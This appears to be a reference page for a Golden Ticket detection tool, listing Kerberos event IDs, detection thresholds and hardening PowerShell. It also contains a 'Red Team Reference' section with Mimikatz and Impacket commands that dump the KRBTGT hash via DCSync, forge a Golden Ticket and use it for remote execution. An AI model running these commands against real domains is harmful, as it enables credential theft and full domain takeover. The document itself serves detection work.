<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# Golden Ticket Detection — API Reference

## Windows Event IDs

| Event ID | Description | Log Source |
|----------|-------------|------------|
| 4768 | TGT Requested (AS-REQ) | Security |
| 4769 | Service Ticket Requested (TGS-REQ) | Security |
| 4770 | TGT Renewed | Security |
| 4771 | Kerberos Pre-Auth Failed | Security |
| 4662 | Directory Service Access | Security |
| 4624 | Successful Logon (type 3 = network) | Security |

## Mimikatz Commands (Red Team Reference)

```bash
# DCSync — extract KRBTGT hash
mimikatz "lsadump::dcsync /user:krbtgt /domain:target.com"

# Forge Golden Ticket
mimikatz "kerberos::golden /user:fakeadmin /domain:target.com /sid:S-1-5-21-XXX /krbtgt:HASH /id:500 /groups:512,513,520 /ptt"

# List cached tickets
mimikatz "kerberos::list"

# Purge tickets
mimikatz "kerberos::purge"
```

## Impacket Commands

```bash
# DCSync with secretsdump
impacket-secretsdump target.com/admin:password@DC_IP -just-dc-user krbtgt

# Forge Golden Ticket
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXX -domain target.com fakeadmin

# Use forged ticket
export KRB5CCNAME=fakeadmin.ccache
impacket-psexec -k -no-pass target.com/fakeadmin@DC_IP
```

## BloodHound Cypher Queries

```cypher
# Find paths to KRBTGT
MATCH p=shortestPath((u:User)-[*1..]->(k:User {name:'KRBTGT@TARGET.COM'})) RETURN p

# Domain Admins
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@TARGET.COM'}) RETURN u.name

# Kerberoastable accounts
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
```

## PowerShell Commands

```powershell
# Check KRBTGT password age
Get-ADUser krbtgt -Properties PasswordLastSet, Created |
  Select-Object Name, PasswordLastSet, Created

# Enable Kerberos audit logging
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable

# Reset KRBTGT password
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString "NewPassword!" -AsPlainText -Force)
```

## Detection Tuning

| Detection | Event ID | Key Field | Threshold |
|-----------|----------|-----------|-----------|
| RC4 downgrade | 4768 | TicketEncryptionType=0x17 | Any occurrence |
| Orphan TGS | 4769 | No matching 4768 | Any occurrence |
| DCSync | 4662 | Non-machine account | Any occurrence |
| TGT lifetime | 4768 | TicketOptions | >10 hour lifetime |
